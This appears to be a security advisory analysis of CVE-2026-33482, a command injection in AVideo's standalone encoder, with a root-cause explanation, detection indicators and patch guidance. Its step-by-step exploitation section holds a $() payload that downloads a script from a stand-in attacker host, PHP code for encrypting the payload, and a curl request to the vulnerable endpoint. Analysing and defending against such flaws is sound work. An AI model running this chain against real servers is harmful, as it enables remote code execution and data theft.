CVE-2026-33482: 
PHP vulnerability analysis and mitigation

CVE-2026-33482 is an OS command injection vulnerability in AVideo's standalone encoder server, caused by a $() shell substitution bypass in the sanitizeFFmpegCommand() function. It affects all versions of WWBN/AVideo up to and including 26.0. The vulnerability was published on March 20, 2026, and assigned a CVE ID on March 23, 2026. It carries a CVSS v3.1 base score of 8.1 (High) (GitHub Advisory).

The root cause is an incomplete denylist in sanitizeFFmpegCommand() (located in plugin/API/standAlone/functions.php), classified as CWE-78 (OS Command Injection). The function strips metacharacters such as &&, ;, |, `, <, and >, but omits $, (, ), and \n, allowing bash $() command substitution to pass through unmodified. The sanitized command is then passed to execAsync(), which wraps it in nohup sh -c "$command ..." — a double-quoted shell context where $() is evaluated as command substitution. Exploitation requires a valid AES-256-CBC encrypted JSON payload (key derived from sha256(saltV2); IV from substr(sha256(systemRootPath), 0, 16)), which an attacker must obtain via a leaked configuration, a separate vulnerability, or by targeting legacy installations using the weaker $global['salt'] fallback (GitHub Advisory, AVideo Security Advisory).

Successful exploitation grants an unauthenticated remote attacker full arbitrary command execution on the standalone encoder server with the privileges of the web server process. This enables complete data exfiltration of video files, configuration data, and credentials stored on the encoder, as well as lateral movement to the main AVideo server given typical network connectivity between the two components. Attackers can also disrupt encoding services by terminating processes or exhausting system resources. Legacy installations without saltV2 face significantly elevated risk due to weaker encryption keys (GitHub Advisory).

A proof-of-concept exploit with step-by-step instructions, specific payloads, and curl commands is publicly available in the GitHub Security Advisory (AVideo Security Advisory). The exploit is rated high confidence and involves bash/PHP tooling. As of the time of reporting, there is no evidence of active in-the-wild exploitation, and no threat actor attribution has been made. The EPSS score is approximately 0.106% (28th percentile), and the vulnerability is not currently listed in the CISA KEV catalog. Qualys has added detection for this CVE (detection ID 5009476) (GitHub Advisory).

1. Reconnaissance: Identify internet-facing AVideo standalone encoder instances (version ≤ 26.0) using tools like Shodan or Censys, targeting the endpoint plugin/API/standAlone/ffmpeg.json.php.
2. Obtain encryption key: Acquire the AES-256-CBC encryption key, either from a leaked AVideo configuration file, a legacy installation using the weak $global['salt'], or via a separate vulnerability. The key is sha256(saltV2) and the IV is substr(sha256(systemRootPath), 0, 16).
3. Craft malicious ffmpeg command: Embed a $() command substitution payload that passes sanitization, e.g.:

   ffmpeg $(curl http://attacker.example.com/shell.sh -o /tmp/s.sh) -i /dev/null /tmp/out.mp4

4. Build and encrypt the JSON payload: Construct a JSON object with ffmpegCommand, keyword, and a current Unix timestamp (within 30 seconds), then encrypt it using AES-256-CBC with the obtained key and IV:

   $key = hash('sha256', $salt);
   $iv = substr(hash('sha256', $systemRootPath), 0, 16);
   echo base64_encode(openssl_encrypt($payload, 'AES-256-CBC', $key, 0, $iv));

5. Send the encrypted payload: URL-encode the ciphertext and send it to the vulnerable endpoint:

   curl "http://standalone-encoder.example.com/plugin/API/standAlone/ffmpeg.json.php?codeToExecEncrypted=<ENCODED_PAYLOAD>"

6. Command execution: The encoder decrypts the payload via the unauthenticated decryptString API, passes it through the incomplete sanitizeFFmpegCommand(), and execAsync() executes it in a sh -c context — evaluating $(curl ...) before ffmpeg runs, downloading and potentially executing the attacker's script (AVideo Security Advisory).

• Network: Unexpected outbound HTTP/HTTPS connections from the encoder server to unknown external hosts (e.g., attacker-controlled download servers); inbound requests to /plugin/API/standAlone/ffmpeg.json.php with a codeToExecEncrypted parameter from unusual source IPs.
• File System: Unexpected script files in /tmp/ (e.g., /tmp/s.sh, /tmp/*.pid); new or modified files in the AVideo web root or encoder directories; web shells or backdoors placed by post-exploitation activity.
• Logs: Web server access logs showing POST or GET requests to ffmpeg.json.php with large or encoded codeToExecEncrypted parameters; PHP error logs referencing sanitizeFFmpegCommand or execAsync.
• Process: Unusual child processes spawned by the web server process (e.g., sh, curl, wget, bash, python) with parent process being the PHP/web server; nohup processes with unexpected command arguments (AVideo Security Advisory).

The fix was committed to the AVideo repository (commit 25c8ab9) and expands the regex in sanitizeFFmpegCommand() to also strip $, (, ), {, }, \n, and \r, preventing $() and ${} command substitution (AVideo Patch Commit). Users should upgrade AVideo beyond version 26.0 as soon as a patched release is available. As interim mitigations: ensure all installations use saltV2 encryption (not the legacy $global['salt'] fallback), implement network segmentation to restrict access to the standalone encoder server, rotate encryption keys and credentials if compromise is suspected, and consider disabling standalone encoders if not required. The long-term recommended fix is to replace denylist-based sanitization with per-argument escapeshellarg() escaping (GitHub Advisory).

The vulnerability was reported by researcher "offset" and published by AVideo maintainer DanielnetoDotCom on March 20, 2026. A technical write-up was published by Infinit Security at infinitsec.net, covering the OS command injection via dollar-shell substitution bypass. The CVE was noted on Bluesky by automated CVE tracking accounts shortly after publication. No major media coverage or significant vendor statements beyond the official advisory have been identified (AVideo Security Advisory).